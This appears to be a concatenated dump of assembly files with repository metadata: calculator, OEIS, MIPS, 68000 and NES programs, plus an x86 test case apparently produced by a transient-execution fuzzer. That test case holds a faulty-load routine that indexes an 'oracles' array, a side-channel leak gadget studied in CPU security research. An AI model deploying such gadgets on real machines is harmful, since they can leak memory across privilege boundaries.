call Write_Display_Control
ld a,$22
out ($10),a
out ($10),a
ret
;############## Main game data
compressed_data:
#import compressed.bin
#if ($ > $8000)
.echo "Overflow of available flash space on page 0 by ",eval($ - $8000)
.error "!!!!!!!!!!!!!!!!!!!! DISASTER !!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
#endif
#if ($ > $7FA0)
.echo "Overflow after adding certificate by ",eval($ - $7FA0)
#else
.echo "Bytes left over in flash: ",eval($7FA0 - $)
#endif | 28.415842 | 83 | 0.437979 |
07ab92331eec86402800c121e2a9379d7779abb8 | 5,862 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1894.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1894.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1894.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r14
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x1d99d, %r13
clflush (%r13)
nop
nop
nop
nop
nop
and %rax, %rax
movb $0x61, (%r13)
cmp $17889, %r12
lea addresses_UC_ht+0xf1d, %rax
nop
nop
inc %r14
movups (%rax), %xmm3
vpextrq $0, %xmm3, %r12
nop
nop
cmp $61146, %r13
lea addresses_WC_ht+0x10c6e, %r9
xor %rbp, %rbp
movb $0x61, (%r9)
nop
sub %r12, %r12
lea addresses_normal_ht+0x459d, %rsi
lea addresses_UC_ht+0x12e51, %rdi
clflush (%rsi)
nop
nop
nop
nop
cmp $6822, %r9
mov $52, %rcx
rep movsq
cmp $14511, %rax
lea addresses_WC_ht+0x1876d, %r14
nop
nop
nop
nop
nop
cmp %rax, %rax
mov $0x6162636465666768, %r13
movq %r13, (%r14)
nop
add $25277, %rax
lea addresses_D_ht+0x9968, %rbp
nop
nop
nop
nop
inc %r12
mov (%rbp), %r13w
add %r12, %r12
lea addresses_A_ht+0xcf5a, %rax
nop
nop
nop
and $32880, %rsi
mov (%rax), %bp
nop
nop
nop
nop
sub $38503, %rdi
lea addresses_A_ht+0x47e5, %rsi
lea addresses_UC_ht+0x13dbd, %rdi
nop
nop
nop
nop
inc %r9
mov $70, %rcx
rep movsb
dec %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r14
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r15
push %r8
push %rax
push %rbp
push %rbx
push %rdx
// Faulty Load
lea addresses_RW+0x679d, %rbp
nop
nop
nop
nop
nop
cmp %rdx, %rdx
mov (%rbp), %ax
lea oracles, %r8
and $0xff, %rax
shlq $12, %rax
mov (%r8,%rax,1), %rax
pop %rdx
pop %rbx
pop %rbp
pop %rax
pop %r8
pop %r15
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': True}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 7, 'size': 1, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 6, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': True}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': True, 'congruent': 3, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': True, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 40.150685 | 2,999 | 0.657625 |
e7f6a0b13f9ea7006edee9c74aed93539187b749 | 501 | asm | Assembly | oeis/344/A344686.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/344/A344686.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/344/A344686.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A344686: Triangle T(n, k) obtained from the array N2(a, b) = a^2 - a*b - b^2, for a >= 0 and b >= 0, read by upwards antidiagonals.
; Submitted by Jon Maiga
; 0,1,-1,4,-1,-4,9,1,-5,-9,16,5,-4,-11,-16,25,11,-1,-11,-19,-25,36,19,4,-9,-20,-29,-36,49,29,11,-5,-19,-31,-41,-49,64,41,20,1,-16,-31,-44,-55,-64,81,55,31,9,-11,-29,-45,-59,-71,-81,100,71,44,19,-4,-25,-44,-61,-76,-89,-100
mov $2,$0
lpb $0
add $3,1
sub $2,$3
mov $0,$2
add $1,$3
trn $1,$2
lpe
pow $1,2
mul $3,$0
sub $1,$3
mov $0,$1
| 29.470588 | 221 | 0.548902 |
e3a5674873714434d67a16ca435070c06ffd311a | 414 | asm | Assembly | programs/oeis/109/A109804.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/109/A109804.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/109/A109804.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A109804: Cumulative sum of initial digits of (n base 6).
; 0,1,3,6,10,15,16,17,18,19,20,21,23,25,27,29,31,33,36,39,42,45,48,51,55,59,63,67,71,75,80,85,90,95,100,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131
mov $2,$0
mov $4,$0
lpb $2
mov $0,$4
sub $2,1
sub $0,$2
mov $3,$0
lpb $0
div $3,6
sub $0,$3
lpe
add $1,$3
lpe
mov $0,$1
| 23 | 211 | 0.615942 |
d16a37cc79d847333af00567e0fb195b469eb07b | 4,743 | asm | Assembly | Gonduls/d01/p1&p2.asm | Tommimon/advent-of-code-2021 | 0bf359ff720b7cbc33f6a9b469c0e02ab1f428a5 | [
"MIT"
] | 6 | 2021-11-30T11:38:23.000Z | 2021-12-05T17:12:44.000Z | Gonduls/d01/p1&p2.asm | Tommimon/advent-of-code-2021 | 0bf359ff720b7cbc33f6a9b469c0e02ab1f428a5 | [
"MIT"
] | 1 | 2021-12-03T16:59:17.000Z | 2021-12-03T17:05:03.000Z | Gonduls/d01/p1&p2.asm | Tommimon/advent-of-code-2021 | 0bf359ff720b7cbc33f6a9b469c0e02ab1f428a5 | [
"MIT"
] | 1 | 2021-12-10T13:48:57.000Z | 2021-12-10T13:48:57.000Z | # Gonduls's 2021 day1: read and parse integers from file,
# p_1 check if number is greater than previous number: result++
# p_2 check if number is greater than third last number (storing in int[3] array): result++
# Did not store static registers in eqv variables because why would I
# Mostly copied from Riccardo's day1 2020, some comments might refer to his code instead of mine
# Our solutions to Advent of Code:
# 2021: https://github.com/Tommimon/advent-of-code-2021
# 2020: https://github.com/Tommimon/advent-of-code-2020
.data
.eqv FILE_MAX_SIZE 100000 # used to set buffer size for reading, greatly exaggerated 'cause it works
.eqv NUMBERS_AMOUNT 3
.eqv NUMBERS_AMOUNT_BYTE 12 # 3 * 4 bytes
NUM_ARRAY: .space NUMBERS_AMOUNT_BYTE
BUFFER: .space FILE_MAX_SIZE
FILE_NAME: .asciiz "input.txt"
WELCOME_STRING: .asciiz "Welcome to me copying (again) Riccardo's first MIPS program ever attempting to solve day 1 of Advent Of Code 2020!\n"
PART1_SUCCESS: .asciiz "Here's your result for the first part:\n"
PART2_SUCCESS: .asciiz "Here's your result for the second part:\n"
.text
WELCOME:
li $v0, 4 # 4 --> print_string
la $a0, WELCOME_STRING # $a0 = address of null-terminated string to print
syscall
##### READ FILE TO BUFFER #####
OPEN_FILE:
li $v0, 13 # 13 --> open_file
la $a0, FILE_NAME # $a0 = address of null-terminated string containing filename
li $a1, 0 # $a1 = flags, 0 for read-only
li $a2, 0 # $a2 = mode, mode is ignored
syscall # file descriptor returned in $v0
move $s7, $v0 # save the file descriptor in $s7
READ_FILE:
li $v0, 14 # 14 --> read_file
move $a0, $s7 # $a0 = file descriptor
la $a1, BUFFER # $a1 = address of input buffer
li $a2, FILE_MAX_SIZE # $a2 = maximum number of characters to read
syscall # $v0 contains number of characters read (0 if end-of-file, negative if error).
########## PARSE INPUT ##########
# $t0 the ADDRESS of BUFF
# $t1 the ADDRESS of VECTOR
# $t2-$t4 actual temporary registers
# $t5 is the '\n'
# $t6 is the multiplier
# $t7 is the thing read and manipulated
# $s1 is the current integer
# $s2 is the index of three number array (0, 4, 8 values only)
# $s3 is the previous number
# $s4 is the result part 1
# $s5 is the result part 2
PARSE_START:
la $t0, BUFFER
la $t1, NUM_ARRAY
li $t5, '\n'
li $t6, 1
li $t9, 2147483647 # initialized with INT_MAX, never again used
move $s1, $zero
sw $t9, ($t1)
sw $t9, 4($t1)
sw $t9, 8($t1)
move $s2, $zero
move $s3, $t9
move $s4, $zero
move $s5, $zero
PARSE_CICLE:
lb $t7, ($t0)
beq $t5, $t7, FOUND_BACKSLASH_N # every number is followed by a '\n'
beq $zero, $t7, END_PARSE_CICLE # '\x00' ends the string to parse
subi $t7, $t7, 48 # value of '0' in ASCII
li $t3, 10
mult $s1, $t3 # multiply by 10 the prev partial number
mflo $s1
add $s1, $s1, $t7 # add together the partial number and the digit we just got
addi $t0, $t0, 1 # switch to next char
j PARSE_CICLE
FOUND_BACKSLASH_N: # finally we have found the full number
addiu $t0, $t0, 1 # switch to next char
############ Part 1 ###############
bge $s3, $s1, NUMBER_NOT_INCREASED_1
addi $s4, $s4, 1 # if current > previous: result_1 ++
NUMBER_NOT_INCREASED_1:
move $s3, $s1
############ Part 2 ###############
addu $t3, $s2, $t1 # calculate address
lw $t2, ($t3) # get third last number stored in array
bge $t2, $s1, NUMBER_NOT_INCREASED_2
addi $s5, $s5, 1 # if current > third last: result_2 ++
NUMBER_NOT_INCREASED_2:
addu $t3, $s2, $t1 # calculate address
sw $s1, ($t3) # store int in correct position in array
move $s1, $zero # reset the value in $s1 so it can read a new number
addi $s2, $s2, 4 # switch to next index in the array modulo 3
li $t4, 8
bge $t4, $s2, INDEX_OK # if index >= 8 (4*2): jump
move $s2, $zero # else: index = 0
INDEX_OK:
j PARSE_CICLE
END_PARSE_CICLE:
li $v0, 4 # 4 --> print_string
la $a0, PART1_SUCCESS # $a0 = address of null-terminated string to print
syscall
li $v0, 1 # 1 --> print_int
move $a0, $s4 # print result
syscall
li $v0, 11 # 11 --> print_byte
li $a0, '\n'
syscall
li $v0, 4 # 4 --> print_string
la $a0, PART2_SUCCESS # $a0 = address of null-terminated string to print
syscall
li $v0, 1 # 1 --> print_int
move $a0, $s5 # print result
syscall
li $v0, 10 # End program
syscall
| 34.620438 | 142 | 0.611638 |
34cac8ab76c61f0c17e4792281a1033e5ca60f6c | 3,508 | asm | Assembly | assembler/tests/t_68kaddr/t_68kaddr.asm | paulscottrobson/RCA-Cosmac-VIP-III | 5d3fcea325aacb7c99269f266bc14e30439cdc2b | [
"MIT"
] | null | null | null | assembler/tests/t_68kaddr/t_68kaddr.asm | paulscottrobson/RCA-Cosmac-VIP-III | 5d3fcea325aacb7c99269f266bc14e30439cdc2b | [
"MIT"
] | null | null | null | assembler/tests/t_68kaddr/t_68kaddr.asm | paulscottrobson/RCA-Cosmac-VIP-III | 5d3fcea325aacb7c99269f266bc14e30439cdc2b | [
"MIT"
] | null | null | null | cpu 68000
page 0
; basic 68000 modes
move.l d3,d7
move.l a3,d7
move.l (a3),d7
move.l (a3)+,d7
move.l -(a3),d7
move.l 1000(a3),d7 ; "68000 style"
move.l (1000,a3),d7 ; "68020 style"
move.l 120(a3,a4.w),d7 ; "68000 style"
move.l (120,a3,a4.w),d7 ; "68020 style"
move.l 120(a3,a4.l),d7 ; "68000 style"
move.l (120,a3,a4.l),d7 ; "68020 style"
move.l 120(a3,d4.w),d7 ; "68000 style"
move.l (120,a3,d4.w),d7 ; "68020 style"
move.l 120(a3,d4.l),d7 ; "68000 style"
move.l (120,a3,d4.l),d7 ; "68020 style"
move.l 10000,d7 ; "68000 style"
move.l 10000.l,d7 ; "68000 style"
move.l 100000,d7 ; "68000 style"
move.l (10000),d7 ; "68020 style"
move.l (10000.l),d7 ; "68020 style"
move.l (100000),d7 ; "68020 style"
move.l *(pc,a4.w),d7 ; "68000 style"
move.l (*,pc,a4.w),d7 ; "68020 style"
move.l *(pc,a4.l),d7 ; "68000 style"
move.l (*,pc,a4.l),d7 ; "68020 style"
move.l *(pc,d4.w),d7 ; "68000 style"
move.l (*,pc,d4.w),d7 ; "68020 style"
move.l *(pc,d4.l),d7 ; "68000 style"
move.l (*,pc,d4.l),d7 ; "68020 style"
move.l #$aa554711,d7
; extended 68020+ modes
cpu 68020
; base displacement
move.l (10000,a3,d4.l*4),d7 ; all components
move.l (10000.l,a3,d4.l*4),d7
move.l (10000,a3,d4.l*1),d7 ; ->scale field zero
move.l (10000.l,a3,d4.l*1),d7
move.l (10000,a3,d4.w*1),d7 ; ->word instead of longword index
move.l (10000.l,a3,d4.w*1),d7
move.l (10000,a3),d7 ; no index
move.l (10000.l,a3),d7
move.l (10000,d4.w*1),d7 ; no basereg
move.l (10000.l,d4.w*1),d7
; no index (post/pre-indexed setting in I/IS irrelevant?)
move.l ([10000]),d7
move.l ([10000.l]),d7
move.l ([a3]),d7
move.l ([a3,10000]),d7
move.l ([a3,10000.l]),d7
move.l ([10000],20000),d7
move.l ([10000.l],20000.l),d7
move.l ([a3],20000),d7
move.l ([a3],20000.l),d7
move.l ([10000,a3],20000),d7
move.l ([10000.l,a3],20000.l),d7
; postindexed
move.l ([10000],d4.w*1),d7
move.l ([10000.l],d4.l*4),d7
move.l ([a3],d4.w*1),d7
move.l ([a3],d4.l*4),d7
move.l ([10000,a3],d4.w*1),d7
move.l ([10000.l,a3],d4.l*4),d7
move.l ([10000],d4.w*1,20000),d7
move.l ([10000.l],d4.l*4,20000.l),d7
move.l ([a3],d4.w*1,20000),d7
move.l ([a3],d4.l*4,20000.l),d7
move.l ([10000,a3],d4.w*1,20000),d7
move.l ([10000.l,a3],d4.l*4,20000.l),d7
; preindexed
move.l ([10000,d4.w*1]),d7
move.l ([10000.l,d4.l*4]),d7
move.l ([a3,d4.w*1]),d7
move.l ([a3,d4.l*4]),d7
move.l ([10000,a3,d4.w*1]),d7
move.l ([10000.l,a3,d4.l*4]),d7
move.l ([10000,d4.w*1],20000),d7
move.l ([10000.l,d4.l*4],20000.l),d7
move.l ([a3,d4.w*1],20000),d7
move.l ([a3,d4.l*4],20000.l),d7
move.l ([10000,a3,d4.w*1],20000),d7
move.l ([10000.l,a3,d4.l*4],20000.l),d7
; PC with base displacement
move.l (*,pc,d4.l*4),d7 ; all components
move.l (*.l,pc,d4.l*4),d7
move.l (*,pc,d4.l*1),d7 ; ->scale field zero
move.l (*.l,pc,d4.l*1),d7
move.l (*,pc,d4.w*1),d7 ; ->word instead of longword index
move.l (*.l,pc,d4.w*1),d7
move.l (*,pc),d7 ; no index
move.l (*.l,pc),d7
; PC postindexed
move.l ([pc],d4.w*1),d7
move.l ([pc],d4.l*4),d7
move.l ([*,pc],d4.w*1),d7
move.l ([*.l,pc],d4.l*4),d7
move.l ([pc],d4.w*1,20000),d7
move.l ([pc],d4.l*4,20000.l),d7
move.l ([*,pc],d4.w*1,20000),d7
move.l ([*.l,pc],d4.l*4,20000.l),d7
; PC preindexed
move.l ([pc,d4.w*1]),d7
move.l ([pc,d4.l*4]),d7
move.l ([*,pc,d4.w*1]),d7
move.l ([*.l,pc,d4.l*4]),d7
move.l ([pc,d4.w*1],20000),d7
move.l ([pc,d4.l*4],20000.l),d7
move.l ([*,pc,d4.w*1],20000),d7
move.l ([*.l,pc,d4.l*4],20000.l),d7
| 28.520325 | 63 | 0.591505 |
240e31b3ae6f00b10ad7cb2d401e6c8f5e568bc8 | 589 | asm | Assembly | oeis/315/A315401.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/315/A315401.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/315/A315401.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A315401: Coordination sequence Gal.4.63.4 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; Submitted by Simon Strandgaard
; 1,6,11,15,19,23,28,34,40,45,49,53,57,62,68,74,79,83,87,91,96,102,108,113,117,121,125,130,136,142,147,151,155,159,164,170,176,181,185,189,193,198,204,210,215,219,223,227,232,238
mov $5,$0
mul $0,2
add $0,6
mov $3,3
mov $4,1
lpb $0
mov $2,$0
sub $2,10
add $3,6
add $4,6
trn $2,$4
add $2,$3
mov $0,$2
lpe
sub $0,6
trn $0,1
lpb $5
add $0,4
sub $5,1
lpe
add $0,1
| 22.653846 | 178 | 0.667233 |
12a7a222298e1fb7c8bd6417bc389fe710f79654 | 485 | asm | Assembly | softwares/FIB.asm | FerrisChi/minisys-3 | 75bcc0d68d8803d102a84c5c2e6d753908fe0112 | [
"MIT"
] | null | null | null | softwares/FIB.asm | FerrisChi/minisys-3 | 75bcc0d68d8803d102a84c5c2e6d753908fe0112 | [
"MIT"
] | null | null | null | softwares/FIB.asm | FerrisChi/minisys-3 | 75bcc0d68d8803d102a84c5c2e6d753908fe0112 | [
"MIT"
] | null | null | null | .data 0x0
FIB: .word 0x00000000:35
.text 0x0
start:
sw $0, FIB($0)
ori $t0, $0, 4
ori $t1, $0, 1
sw $t1, FIB($t0)
ori $t0, $0, 8
j test
loop:
addi $t3, $t0, -8
lw $v0, FIB($t3)
addi $t3, $t3, 4
lw $v1, FIB($t3)
add $t1, $v0, $v1
sw $t1, FIB($t0)
addi $t0, $t0, 4
test:
slti $t2, $t0, 140
beq $t2, $zero, 1
j loop
done:
lui $28, 0xFFFF
ori $28,$28,0XF000
lw $3, 0XC70($28)
sll $3, $3, 2
lw $2, FIB($3)
sw $2, 0XC60($28)
srl $2, $2, 16
sw $2, 0XC62($28)
j done | 14.69697 | 25 | 0.536082 |
f84dbb638ed6651719bd3add88f92920190c10ad | 6,863 | asm | Assembly | src/chrbanks.6502.asm | mrpopogod/nes-fun | 80e6af809874f2de89bd52f05f04c451dc29b333 | [
"MIT"
] | null | null | null | src/chrbanks.6502.asm | mrpopogod/nes-fun | 80e6af809874f2de89bd52f05f04c451dc29b333 | [
"MIT"
] | null | null | null | src/chrbanks.6502.asm | mrpopogod/nes-fun | 80e6af809874f2de89bd52f05f04c451dc29b333 | [
"MIT"
] | null | null | null | .target "6502"
.format "nes"
.setting "NESMapper", 3
.setting "NESVerticalMirroring", true
.setting "ShowLabelsAfterCompiling", true
.setting "ShowLocalLabelsAfterCompiling", true
.setting "LaunchCommand", "c:\\emulation\\fceux.exe {0}"
.setting "DebugCommand", "c:\\emulation\\fceux.exe {0}"
;;;;;;;;;;;;;;;
.bank 0, 16, $C000, "NES_PRG0" ; these should always be 16kb for PRG, 8kb for CHR
; in tutorials the number of these should match
; the number in the inesprg/ineschr directives
.segment "MAIN_CODE" ; Replaces the bank directive from nesasm format
.org $C000
RESET:
SEI ; disable IRQs
CLD ; disable decimal mode
LDX #$40
STX $4017 ; disable APU frame IRQ
LDX #$FF
TXS ; Set up stack
INX ; now X = 0
STX $2000 ; disable NMI
STX $2001 ; disable rendering
STX $4010 ; disable DMC IRQs
vblankwait1: ; First wait for vblank to make sure PPU is ready
BIT $2002
BPL vblankwait1
clrmem:
LDA #$00
STA $0000, x
STA $0100, x
STA $0200, x
STA $0400, x
STA $0500, x
STA $0600, x
STA $0700, x
LDA #$FE
STA $0300, x
INX
BNE clrmem
vblankwait2: ; Second wait for vblank, PPU is ready after this
BIT $2002
BPL vblankwait2
LoadPalettes:
LDA $2002 ; read PPU status to reset the high/low latch
LDA #$3F
STA $2006 ; write the high byte of $3F00 address
LDA #$00
STA $2006 ; write the low byte of $3F00 address
LDX #$00 ; start out at 0
LoadPalettesLoop:
LDA palette, x ; load data from address (palette + the value in x)
; 1st time through loop it will load palette+0
; 2nd time through loop it will load palette+1
; 3rd time through loop it will load palette+2
; etc
STA $2007 ; write to PPU
INX ; X = X + 1
CPX #$20 ; Compare X to hex $10, decimal 16 - copying 16 bytes = 4 sprites
BNE LoadPalettesLoop ; Branch to LoadPalettesLoop if compare was Not Equal to zero
; if compare was equal to 32, keep going down
LoadSprites:
LDX #$00 ; start at 0
LoadSpritesLoop:
LDA sprites, x ; load data from address (sprites + x)
STA $0200, x ; store into RAM address ($0200 + x)
INX ; X = X + 1
CPX #$20 ; Compare X to hex $20, decimal 32
BNE LoadSpritesLoop ; Branch to LoadSpritesLoop if compare was Not Equal to zero
; if compare was equal to 32, keep going down
LDA #%10000000 ; enable NMI, sprites from Pattern Table 1
STA $2000
LDA #%00010000 ; enable sprites
STA $2001
Forever:
JMP Forever ;jump back to Forever, infinite loop
NMIHandler:
LDA #$00
STA $2003 ; set the low byte (00) of the RAM address
LDA #$02
STA $4014 ; set the high byte (02) of the RAM address, start the transfer
LatchController:
LDA #$01
STA $4016
LDA #$00
STA $4016 ; tell both the controllers to latch buttons
ReadA:
LDA $4016 ; player 1 - A
AND #%00000001 ; only look at bit 0
BEQ ReadADone ; branch to ReadADone if button is NOT pressed (0)
; add instructions here to do something when button IS pressed (1)
LDA $0203 ; load sprite X position
CLC ; make sure the carry flag is clear
ADC #$01 ; A = A + 1
STA $0203 ; save sprite X position
ReadADone: ; handling this button is done
ReadB:
LDA $4016 ; player 1 - B
AND #%00000001 ; only look at bit 0
BEQ ReadBDone ; branch to ReadBDone if button is NOT pressed (0)
; add instructions here to do something when button IS pressed (1)
LDA $0203 ; load sprite X position
SEC ; make sure carry flag is set
SBC #$01 ; A = A - 1
STA $0203 ; save sprite X position
ReadBDone: ; handling this button is done
ReadSelect:
LDA $4016 ; player 1 - select
AND #%00000001 ; only look at bit 0
BEQ ReadSelectDone ; branch to ReadSelectDone if button is NOT pressed (0)
; add instructions here to do something when button IS pressed (1)
LDA #$00
JSR Bankswitch ; change to graphics bank 0
ReadSelectDone: ; handling this button is done
ReadStart:
LDA $4016 ; player 1 - start
AND #%00000001 ; only look at bit 0
BEQ ReadStartDone ; branch to ReadStartDone if button is NOT pressed (0)
; add instructions here to do something when button IS pressed (1)
LDA #$01
JSR Bankswitch ; change to graphics bank 1
ReadStartDone: ; handling this button is done
RTI ; return from interrupt
; Ok, this seems like voodoo, but here's what's going on.
; CNROM (mapper 3) is one of the mappers which suffers bus conflicts.
; So when you write to the register (which is located in ROM space) it also
; ends up reading from that ROM location, and one will win.
; The way you avoid this is to write a value to a location that has that value.
; So that's what's going on here; the bankswitch register is the entirety of
; $8000-$FFFF, so if we want to swap to bank 0-3 we need to write to a location
; in that space which contains that same value. Hence the lookup table here;
; if X is 0 then we write to Bankvalues+0 which is $00, so it matches. Same with
; X is 1 we write to Bankvalues+1 which is $01, again matching.
Bankswitch:
TAX ;;copy A into X
STA Bankvalues, X ;;new bank to use
RTS
Bankvalues:
.b $00, $01, $02, $03 ;;bank numbers
;;;;;;;;;;;;;;
.segment "SETUP"
.org $E000
palette:
.b $0F,$31,$32,$33,$34,$35,$36,$37,$38,$39,$3A,$3B,$3C,$3D,$3E,$0F
.b $0F,$1C,$15,$14,$31,$02,$38,$3C,$0F,$1C,$15,$14,$31,$02,$38,$3C
sprites:
;vert tile attr horiz
.b $80, $32, $00, $80 ;sprite 0
.b $80, $33, $00, $88 ;sprite 1
.b $88, $34, $00, $80 ;sprite 2
.b $88, $35, $00, $88 ;sprite 3
